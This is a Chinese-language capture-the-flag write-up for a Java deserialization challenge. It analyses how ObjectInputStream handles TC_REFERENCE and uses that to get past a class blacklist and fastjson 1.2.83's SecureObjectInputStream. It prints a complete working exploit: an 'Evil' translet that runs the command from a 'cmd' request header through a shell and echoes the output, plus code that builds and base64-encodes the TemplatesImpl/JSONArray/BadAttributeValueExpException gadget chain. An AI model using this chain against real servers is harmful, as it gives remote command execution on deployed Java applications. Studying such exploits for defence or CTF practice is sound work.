0x00 序言 校赛出的一道java的wp,记录一下
0x01 分析 controller部分 总共就两个,一个没什么用的欢迎界面,以及一个接受base64编码后的数据并进行解码反序列化的/input
1 2 3 4 5 6 7 8 9 10 11 12 13 @RequestMapping("/input") public String read (@RequestParam String data) { try { byte [] bytes = Base64.getDecoder().decode(data); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); secObjectInputStream objectInputStream = new secObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); return "Something error." ; } return "Pass detection." ; }
包裹输入流的ObjectInputStream用的是自定义的,跟进一下,发现内置了黑名单
1 2 3 4 private static final String[] blacklist = new String []{ "java\\.security.*" , "java\\.rmi.*" , "com\\.fasterxml.*" , "com\\.ctf\\.*" , "org\\.springframework.*" , "com\\.sun\\.org\\.apache\\.xalan\\.*" ,"org\\.yaml.*" ,"org\\.apache.logging.*" ,"org\\.apache.tomcat.*" , "javax\\.management\\.remote.*" };
黑名单可以通过二次反序列化绕过,但是常用的类如com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
就被ban了,以及java.security
下的经典SignedObject也被限制,直接硬打二次反序列化会比较困难
再观察一下secObjectInputStream,其继承 ObjectInputStream 并重写了 resolveClass() 方法,而黑名单的检测就是在resolveClass方法中调用contians方法进行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Class resolveClass (ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super .resolveClass(cls); } else { throw new InvalidClassException ("You can't use class" , cls.getName()); } } public static boolean contains (String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true ; } return false ; }
并且这道题的依赖是1.2.83的fastjson,需要结合里面JSONArray来反序列化,可以很容易想到一条链
1 2 3 4 BadAttributeValueExpException.readObject -> JSON.toString -> JSON.toJSONString -> TemplatesImpl.getOutputProperties
但是新版的fastjson中JSONArray以及JSONObject的readObject中用SecureObjectInputStream
类重新包转了一下输入流,SecureObjectInputStream
类当中重写了resolveClass
,通过调用checkAutoType
方法做类的检查,TemplatesImpl就在其黑名单中
现在的思路可以改为如何绕过resolveClass,首先看一下整个反序列化过程,看一下resolveClass是在哪里被调用的,由于这里secObjectInputStream继承自ObjectInputStream,且没有重写其readObject方法,因此跟进java.io.ObjectInputStream#readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public String read (@RequestParam String data) { try { byte [] bytes = Base64.getDecoder().decode(data); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); secObjectInputStream objectInputStream = new secObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); return "Something error." ; } return "Pass detection." ; } public final Object readObject () throws IOException, ClassNotFoundException { if (enableOverride) { return readObjectOverride(); } int outerHandle = passHandle; try { Object obj = readObject0(false ); handles.markDependency(outerHandle, passHandle); ClassNotFoundException ex = handles.lookupException(passHandle); if (ex != null ) { throw ex; } if (depth == 0 ) { vlist.doCallbacks(); } return obj; } finally { passHandle = outerHandle; if (closed && depth == 0 ) { clear(); } } }
跟进java.io.ObjectInputStream#readObject0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 private Object readObject0 (boolean unshared) throws IOException { boolean oldMode = bin.getBlockDataMode(); if (oldMode) { int remain = bin.currentBlockRemaining(); if (remain > 0 ) { throw new OptionalDataException (remain); } else if (defaultDataEnd) { throw new OptionalDataException (true ); } bin.setBlockDataMode(false ); } byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException ("writing aborted" , ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true ); bin.peek(); throw new OptionalDataException ( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException ( "unexpected block data" ); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException (true ); } else { throw new StreamCorruptedException ( "unexpected end of block data" ); } default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }
会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象,case里面的不同分支调用的方法跟进到后面都会发现调用了readClassDesc
去获取类的描述符,只有
跟进readClassDesc
方法看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private ObjectStreamClass readClassDesc (boolean unshared) throws IOException { byte tc = bin.peekByte(); switch (tc) { case TC_NULL: return (ObjectStreamClass) readNull(); case TC_REFERENCE: return (ObjectStreamClass) readHandle(unshared); case TC_PROXYCLASSDESC: return readProxyDesc(unshared); case TC_CLASSDESC: return readNonProxyDesc(unshared); default : throw new StreamCorruptedException ( String.format("invalid type code: %02X" , tc)); } }
TC_NULL表示的是null,基本无用处,剩余的TC_REFERENCE、TC_PROXYCLASSDESC会继续寻找类的描述符,且处理逻辑都会先调用resolveClass来判断该类是不是NULL,大多数情况都会像TC_CLASSDESC分支一样最后进入到resolveClass方法中,下面分析一下调用逻辑
跟进TC_CLASSDESC分支的readNonProxyDesc方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private ObjectStreamClass readNonProxyDesc (boolean unshared) throws IOException { if (bin.readByte() != TC_CLASSDESC) { throw new InternalError (); } ObjectStreamClass desc = new ObjectStreamClass (); int descHandle = handles.assign(unshared ? unsharedMarker : desc); passHandle = NULL_HANDLE; ObjectStreamClass readDesc = null ; try { readDesc = readClassDescriptor(); } catch (ClassNotFoundException ex) { throw (IOException) new InvalidClassException ( "failed to read class descriptor" ).initCause(ex); } Class<?> cl = null ; ClassNotFoundException resolveEx = null ; bin.setBlockDataMode(true ); final boolean checksRequired = isCustomSubclass(); try { if ((cl = resolveClass(readDesc)) == null ) { resolveEx = new ClassNotFoundException ("null class" ); } else if (checksRequired) { ReflectUtil.checkPackageAccess(cl); } } catch (ClassNotFoundException ex) { resolveEx = ex; } skipCustomData(); desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false )); handles.finish(descHandle); passHandle = descHandle; return desc; }
TC_REFERENCE、TC_PROXYCLASSDESC分支中调用的函数也有类似的调用resolveClass方法的逻辑
因此所有传入以反序列化的数据流都不可避免的会流入被题目secObjectInputStream类重写的resolveClass方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Class resolveClass (ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super .resolveClass(cls); } else { throw new InvalidClassException ("You can't use class" , cls.getName()); } } public static boolean contains (String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true ; } return false ; }
contains方法会检测是否包含黑名单中的类
但是想要绕开resolveClass来反序列化还是有可能的,回到之前的
java.io.ObjectInputStream#readObject0
方法,由于readClassDesc方法会走向resolveClass,因此要选择分支中方法后续不会调用readClassDesc的,符合的分支有TC_NULL、
TC_REFERENCE、
TC_STRING、
TC_LONGSTRING、
TC_EXCEPTION ,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,因此我们只剩下引用类型这一个选择,只要让我们的恶意类成为引用类型,就能让其绕过resolveClass的检查
引用类型 在List、set、map类型中添加同样对象时,为节省资源,第二个加入的对象会改成第一个对象的引用,以ArrayList为例,写一个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.*;import java.util.ArrayList;public class demo { public static void main (String[] args) throws IOException, InstantiationException, IllegalAccessException { ArrayList<Object> arrayList = new ArrayList <>(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); arrayList.add(templates); arrayList.add(templates); ByteArrayOutputStream by=new ByteArrayOutputStream (); ObjectOutputStream a=new ObjectOutputStream (by); a.writeObject(arrayList); } }
这里直接跟进一下ArrayList的writeObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException{ int expectedModCount = modCount; s.defaultWriteObject(); s.writeInt(size); for (int i=0 ; i<size; i++) { s.writeObject(elementData[i]); } if (modCount != expectedModCount) { throw new ConcurrentModificationException (); } }
跟进到ObjectOutputStream#writeObject
-> ObjectOutputStream#writeObject0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void writeObject0 (Object obj, boolean unshared) throws IOException { boolean oldMode = bout.setBlockDataMode(false ); depth++; try { int h; if ((obj = subs.lookup(obj)) == null ) { writeNull(); return ; } else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return ; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return ; } }
如果上述查找后发现这个是个之前没被序列化的新对象,之后会进入到writeNonProxyDesc进而把新对象加入到handles这个HashTable中 具体调用链
image-20231129182815527
image-20231129182829338
因此第二个序列化同一个对象时,会直接满足
1 2 3 else if (!unshared && (h = handles.lookup(obj)) != -1 ) { writeHandle(h); return ;}
跟进writeHandlem,可以发现被记录为引用类型
1 2 3 4 private void writeHandle (int handle) throws IOException { bout.writeByte(TC_REFERENCE); bout.writeInt(baseWireHandle + handle); }
至此,利用引用类型成功绕过了resolveClass的检查,大概exp如下面的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setValue(templates, "_name" , "sloth" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray ();jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException (null );setValue(bd,"val" ,jsonArray); HashMap hashMap = new HashMap ();hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream);objectOutputStream.writeObject(hashMap); byte [] bytes1 = byteArrayOutputStream.toByteArray();System.out.println(base64Encode(bytes1)); objectOutputStream.close();
0x02 exp 不出网 由于此题不出网,比较常见的思路是打内存马,但是这题有一个Agent实时扫描(suagent-loader.jar)
再加上此题注入内存马会因为一个NullPointerException而提前终止,改为用无文件直接回显,使用的时候需要在请求报文中加入header cmd: 命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.net.InetAddress;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.io.ObjectOutputStream;import java.io.*;import java.lang.reflect.Method;import java.util.Scanner;public class Evil extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Evil () throws Exception{ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder" ); Method m = c.getMethod("getRequestAttributes" ); Object o = m.invoke(null ); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes" ); m = c.getMethod("getResponse" ); Method m1 = c.getMethod("getRequest" ); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse" ).getDeclaredMethod("getWriter" ); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest" ).getDeclaredMethod("getHeader" ,String.class); getHeader.setAccessible(true ); getWriter.setAccessible(true ); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd" ); String[] commands = new String [3 ]; String charsetName = System.getProperty("os.name" ).toLowerCase().contains("window" ) ? "GBK" :"UTF-8" ; if (System.getProperty("os.name" ).toUpperCase().contains("WIN" )) { commands[0 ] = "cmd" ; commands[1 ] = "/c" ; } else { commands[0 ] = "/bin/sh" ; commands[1 ] = "-c" ; } commands[2 ] = cmd; writer.getClass().getDeclaredMethod("println" , String.class).invoke(writer, new Scanner (Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A" ).next()); writer.getClass().getDeclaredMethod("flush" ).invoke(writer); writer.getClass().getDeclaredMethod("close" ).invoke(writer); } }
直接将请求头cmd的内容传入exec执行,将命令的输出写回到 ServletResponse
的输出流中。
总体exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.ctf.controller;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import com.ctf.controller.EvilController;import javassist.CtClass;import javassist.CtConstructor;public class exp { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static String base64Encode (byte [] bytes) { Base64.Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(bytes); } public static void main (String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , new byte [][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setValue(templates, "_name" , "sloth" ); setValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException (null ); setValue(bd,"val" ,jsonArray); HashMap hashMap = new HashMap (); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); byte [] bytes1 = byteArrayOutputStream.toByteArray(); System.out.println(base64Encode(bytes1)); objectOutputStream.close(); } }
image-20231129221646083